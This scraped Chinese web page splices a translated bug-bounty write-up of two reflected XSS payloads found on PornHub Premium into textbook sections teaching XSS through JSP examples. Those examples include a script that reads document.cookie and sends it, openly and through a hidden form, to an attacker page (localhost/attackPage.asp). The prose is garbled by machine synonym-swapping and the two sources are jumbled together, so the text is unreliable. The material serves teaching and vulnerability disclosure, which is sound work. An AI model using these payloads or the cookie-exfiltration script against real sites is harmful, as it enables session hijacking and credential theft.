xss和sql注入原教育学习,漏洞开掘记

永利皇宫402

成人网址PornHub跨站脚本(XSS)漏洞发掘记

2017/06/08 · 基础才能 ·
1 评论 ·
XSS

初稿出处: FreeBuf   

图片 1

八.四 Web跨站脚本攻击

写在前方的话

当PornHub发表了她们的公开漏洞奖赏布署之后,作者敢分明的是该网址在此以前存在的一些低等漏洞或相比较易于觉察的纰漏都曾经被外人挖出来了。可是当自己起来开始挖PornHub的狐狸尾巴时,笔者却在15分钟之内就意识了第叁个漏洞,而在几分钟之后笔者又寻觅了第贰个漏洞。在本身全方位挖洞生涯中,我有史以来未有以那样快的进程挖出过漏洞,所以自个儿认为尤其的感动!

用作回报,小编接过了PornHub所提供的累计500澳元的漏洞表彰,外加1件特别光彩夺目的马夹衫,衣裳的图片我早就发到Reddit上了,如下图所示:

图片 2

当本身将那张相片发到Reddit上之后,笔者压根没悟出它会遭到如此多的钟情,而且许多人都向自个儿私信并问我有关挖洞的思想政治工作,比方“你是怎么样形成攻击的?”以及“你怎么要攻击PornHub?”等等。由于要依照漏洞奖赏计划的鲜明,小编马上并无法给大家答疑那些主题材料,然而今后这么些纰漏已经被修复了,所以自个儿希图在那篇小说中跟大家讲述一下挖洞的1体经过。

八.4.壹  跨站脚本攻击的法则(一)

挖洞过程

本身即刻正在采用浏览器浏览PornHub
Premium网址,而本身仅在20分钟以内就开掘并报告了三个反射型跨站脚本(XSS)漏洞。跨站脚本漏洞将同意攻击者在八个网址中进行恶意脚本,OWASP给出的XSS漏洞定义如下:

“一名攻击者能够运用XSS漏洞向不知情的用户发送恶意脚本。终端用户的浏览器无法明显那个本子是不是可相信任,并且会活动运转那个黑心脚本。因为它会以为这些本子来自三个可信赖任的源,而恶意脚本将拜访浏览器中保存的cookie、会话token或其它的机警察讯问息,并使用那一个消息来达成别的的恶心目的,而有个别脚本乃至还足以修改页面包车型地铁HTML代码。”

图片 3

笔者所开采的第多少个漏洞存在于网址的“兑换码”区域,这几个文本框并不会对用户的输入数据开始展览检验,而笔者辈就可以在这一个输入框中输入攻击payload了,于是自身就能够用上边给出的payload来让页面展现大家的脚本音信:

PAYLOAD+STACK++%3E%27″ /Autofocus/Onfocus=confirm`1`//&error=1

1
PAYLOAD+STACK++%3E%27" /Autofocus/Onfocus=confirm`1`//&error=1

这么些payload的第3片段“PAYLOAD
STACK”用于确认保证我们的payload可以被符合规律发送。假诺自个儿输入的是:

++%3E%27″ /Autofocus/Onfocus=confirm`1`//&error=1

1
++%3E%27" /Autofocus/Onfocus=confirm`1`//&error=1

比方未有输入刚才的“PAYLOAD
STACK”,那么Web应用将会遮掩小编所输入的内容,此时页面就不会议及展览示任何脚本内容了。在payload前面输入一些无毒内容能够欺诈网址的验证器,而小编辈的payload就可以平常施行了。

本人所发掘的第四个漏洞同样是贰个XSS漏洞,这几个漏洞的觉察经过就更简约了。作者当时察觉了2个只会对新用户展现一遍的U福睿斯L参数,当自己在那几个参数中输入了多少个payload之后就成功触发了网址的XSS漏洞,大概那正是该漏洞为什么迟迟未有被察觉的来由呢。大繁多漏洞猎人会在初阶挖洞以前先熟识一下对象站点,有个外人竟是会凭感觉来品尝寻找漏洞,不过本身一般选用的是壹种不相同的点子。笔者个人相比较喜欢从无名窗口入手,此时网址一般会以为作者事先未曾访问过它,而这个窗口中貌似都会存在安全漏洞。

本人发现只要本人尚未付费的话,小编许多是不可能查看PornHub
Premium的网址内容的。可是在小编付出在此之前,网址会弹出一个窗口并告知用户目前正在访问色情网址,用户须求点击窗口中的按键来规定是还是不是要求访问。除了那个之外笔者还发掘,当自个儿点击了“Enter”(进入)开关之后,网址U昂CoraL地址的当中有个别会发出改换并增添了一个参数。那个存在纰漏的参数便是“&compliancePop=no_gateway”,而自己就能够在那一个参数中输入上边给出的payload:

&compliancePop=no_gateway%22-confirm`1`-%22

1
&compliancePop=no_gateway%22-confirm`1`-%22

加载了那几个payload之后,作者就能够让网址突显出“壹”,相当于大家payload中的信息,而那就意味着这里存在二个XSS漏洞。

跨站脚本在英文中称之为克罗丝-Site
Scripting,缩写为CSS。可是,由于层叠样式表 (Cascading Style
Sheets)的缩写也为CSS,为不与其指皂为白,特将跨站脚本缩写为XSS。

总结

自个儿将那多少个漏洞都上报给了PornHub,他们也在二4钟头之内对漏洞进行了甄别确认。作者大多谢PornHub的事业职员给大家提供了二个分伯公平的尾巴奖赏陈设,而且小编也要为他们的工效和飞跃响应才能点个赞。更关键的是,他们这些在意用户的平安,那也是诸多别的的网站应当学学的地点。

假如您还想驾驭越多的挖洞经验,请关切自身的Twitter(@
jon_bottarini)。

1 赞 1 收藏 1
评论

图片 4

跨站脚本,顾名思义,就是恶意攻击者利用网址漏洞往Web页面里布署恶意代码,一般必要以下多少个尺码:

客户端访问的网址是叁个有尾巴的网址,可是她并未有察觉到;

在那些网址中通过有些手法放入一段能够实行的代码,吸引客户实施(通过鼠标点击等);

客户点击后,代码实行,能够直达攻击目的。

XSS属于被动式的抨击。为了让读者精通XSS,首先大家举2个简短的事例。有贰个施用,担负举金鼎文本查询,代码如下:

query.jsp

1 <%@ page language="java" import="java.util.*"
2  pageEncoding="gb2312"%> 
3 欢迎查询书本  
4 <form action="queryResult.jsp" method="post"> 
5     请您输入书本的信息:<BR> 
6     <input name="book" type="text" size="50"> 
7     <input type="submit" value="查询">      
8 </form> 

运营结果如下:

图片 5

运营query.jsp,输入正常数据,如”安全编制程序本事”:

 

 

 

付出,呈现的结果是:

 

 

 

结果尚未难点。然而该程序有尾巴。比方,客户输入”<I><FONT
SIZE=7>Java</FONT></I>”:

 

 

 

询问显示的结果为:

 

 

 

该难题是网址对输入的内容尚未开始展览其余标识检查形成的。打开queryResult.jsp的客户端源代码,呈现为:

 

 

 

更有甚者,我们能够输入某些网址上的一幅图片地址(此处引用google首页上的logo图片):

 

 

 

显示结果为:

 

 

 

很分明,结果很不健康!

上述只是表明了该表单提交未有对标志实行自己顶牛,还未有起到攻击的效果。为了拓展抨击,大家将输入产生脚本:

 

八.四.一  跨站脚本攻击的规律(贰)

提交,结果为:

 

证实脚本也足以举行,张开queryResult.jsp客户端源代码,为:

 

于是乎,程序能够让攻击者利用脚本进行部分不说音讯的收获了!输入如下查询关键字:

 

交给,拿到结果:

 

音讯框中,将眼下登入的sessionId突显出来了。很明朗,该sessionId即便被攻击者知道,就能够访问服务器端的该用户session,获取一些音讯。

提示

在JSP系列中, sessionId保存在Cookie中。

实际上的口诛笔伐是怎样举办的吧?如前所述,攻击者为了获得客户的不说音讯,一般会在网址中通过一些招数放入1段能够实行的代码,吸引客户实践(通过鼠标点击等);客户点击后,代码实践,能够达到规定的标准攻击目的。比如,可以给客户发送三个邮件,吸引客户点击有些链接。

以下模拟了2个透过邮件点击链接的口诛笔伐进程。攻击者给客户发送叁个邮件,并且在电子邮件中,通过有个别利润的诱惑,鼓动用户尽快访问某个网址,并在邮件中给二个地点链接,那么些链接的U帕JeroL中含有脚本,客户在点击的长河中,就实施了那段代码。

大家模拟3个邮箱系统,首先是用户登六页面,当用户登陆成功后,为了未来操作便利,该网址接纳了”记住登入景况”的成效,将和睦的用户名和密码放入cookie,并保存在客户端:

login.jsp

 1 <%@ page language="java" import="java.util.*"
 2  pageEncoding="gb2312"%> 
 3 欢迎登录邮箱  
 4 <form action="login.jsp" method="post"> 
 5     请您输入账号:  
 6     <input name="account" type="text"> 
 7     <BR> 
 8     请您输入密码:  
 9     <input name="password" type="password"> 
10     <BR> 
11     <input type="submit" value="登录"> 
12 </form> 
13 <%  
14     //获取账号密码  
15     String account = request.getParameter("account");  
16     String password = request.getParameter("password");  
17     if(account!=null)  
18 {  
19         //验证账号密码,假如账号密码相同表示登录成功  
20         if(account.equals(password))  
21 {  
22             //放入session,跳转到下一个页面  
23             session.setAttribute("account",account);  
24             //将自己的用户名和密码放入cookie  
25             response.addCookie(new Cookie("account",account));  
26             response.addCookie(new Cookie("password",password));  
27             response.sendRedirect("loginResult.jsp");   
28         }   
29 else  
30 {  
31              out.println("登录不成功");  
32         }   
33     }   
34 %> 

八.肆.一  跨站脚本攻击的法则(叁)

运营,获得分界面如下:

 

 

 

输入正确的账号密码(如guokehua,guokehua),假如登陆成功,程序跳到loginResult.jsp,并在页面尾部有三个”查看邮件”链接(当然,大概还有别的职能,在此省略)。代码如下:

loginResult.jsp

 1 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%> 
 2 <%//session检查  
 3     String account = (String)session.getAttribute("account");  
 4     if(account==null)  
 5 {  
 6         response.sendRedirect("login.jsp");  
 7     }  
 8 %> 
 9 欢迎<%=account%>来到邮箱!  
10 <HR> 
11 <a href="mailList.jsp">查看邮箱</a>

运营效果如下:

 

 

 

为了仿效攻击,点击”查看邮箱”,大家在里头放置1封”邮件”(该邮件的始末由攻击者撰写)。代码如下:

mailList.jsp

 1 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%> 
 2 <%  
 3     //session检查,代码略  
 4  %> 
 5 <!—以下是攻击者发送的一个邮件--> 
 6 这里有一封新邮件,您中奖了,您有兴趣的话可以点击:<BR> 
 7 <script type="text/javascript"> 
 8     function send()  
 9 {  
10         var cookie = document.cookie;  
11         window.location.href = "
12 http://localhost/attackPage.asp?cookies=" + cookie;  
13     }  
14 </script> 
15 <a onClick="send()"><u>领奖</u></a> 

效能如下:

 

 

小心,这里的”领奖”链接,链接到另三个网址,该网址一般是攻击者自行营造。,为了保障真实性,大家在IIS下用ASP写了二个网页,因为攻击者页面和被攻击者页面一般不是在二个网址内,其UKugaL为:

1 http://localhost/attackPage.asp

很扎眼,假若用户点击,脚本中的send函数会运转,并将内容发送给。假设的源代码如下:

1 <%@ Language = "VBScript" %> 
2 这是模拟的攻击网站(IIS)<BR> 
3 刚才从用户处得到的cookie值为:<BR> 
4 <%=request("cookies")%> 

留神,attackPage.asp要在IIS中运作,和后面包车型地铁事例运维的不是多少个服务器。

用户只要点击了”领奖”链接,attackPage.jsp上显得:

 

 

 

库克ie中的全部值都被攻击者知道了!越发是sessionId的走漏,表达攻击者还装有了拜访session的恐怕!

此刻,客户浏览器的地址栏上UCRUISERL变为(读者运行时,具体内容或然不平等,可是基本职能同样):

http://localhost/attackPage.asp?cookies=account
=guokehua;%20password=guokehua;%20JSESSIONID=
135766E8D33B380E426126474E28D9A9;%2
0ASPSESSIONIDQQCADQDT=KFELIGFCPPGPHLFEDCKIPKDF 

八.四.壹  跨站脚本攻击的规律(四)

从这几个蕴藏恶意的剧本的UHighlanderL中,比较易于察觉境遇了抨击,因为UGL450L前边的询问字符串一眼就会看出来。聪明的攻击者还足以将脚本用隐藏表单隐藏起来。将mailList.jsp的代码改为:

mailList.jsp

 1 <%@ page language="java" import="java.util.*"
 2  pageEncoding="gb2312"%> 
 3 <%  
 4     //session检查,代码略  
 5  %> 
 6 <!—以下是攻击者发送的一个邮件--> 
 7 这里有一封新邮件,您中奖了,请您填写您的姓名并且提交:<BR> 
 8 <script type="text/javascript"> 
 9     function send()  
10 {  
11         var cookie = document.cookie;  
12         document.form1.cookies.value=cookie;  
13         document.form1.submit();  
14     }  
15 </script> 
16 <form name="form1" action="http://
17 localhost/attackPage.asp" method="post"> 
18     输入姓名:<input name=""> 
19     <input type="hidden" name="cookies"> 
20     <input type="button" value="提交姓名" onClick="send()"> 
21 </form> 

该处将脚本用隐藏表单隐藏起来。输入人名的文本框只是八个佯装。效果为:

 

attackPage.asp不改变。不管您输入什么姓名,达到attackPage.asp都会议及展览示:

 

也足以到达攻击目标。而那时,浏览器地址栏中显得为:

 

用户神不知鬼不觉受到了抨击。

提示

实际攻击的历程中,cookie的值能够被攻击者保存到数据库或许通过此外花招获悉,也正是说,cookie的值不容许直接在攻击页面上显得,不然很轻易被用户开采,这里只是模仿。

从上述例子能够观察,XSS能够诱使Web站点实施本来不属于它的代码,而那几个行代码由攻击者提供、为用户浏览器加载,攻击者利用那么些代码实施来获撤销息。XSS涉及到叁方,即攻击者、客户端与客户端访问的网址。XSS的攻击目的是小偷小摸客户端的机灵信息。从实质上讲,XSS漏洞到底原因是由于网址的Web应用对用户提交请求参数未做丰盛的反省过滤。

八.四.2  跨站脚本攻击的残害

XSS攻击的严重性危害包括:

扒窃用户的各样敏感音讯,如账号密码等;

读取、篡改、加多、删除公司敏锐数据;

读取企业第二的持有商业价值的素材;

支配受害者机器向别的网址发起攻击;等等。(本文转自

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注

网站地图xml地图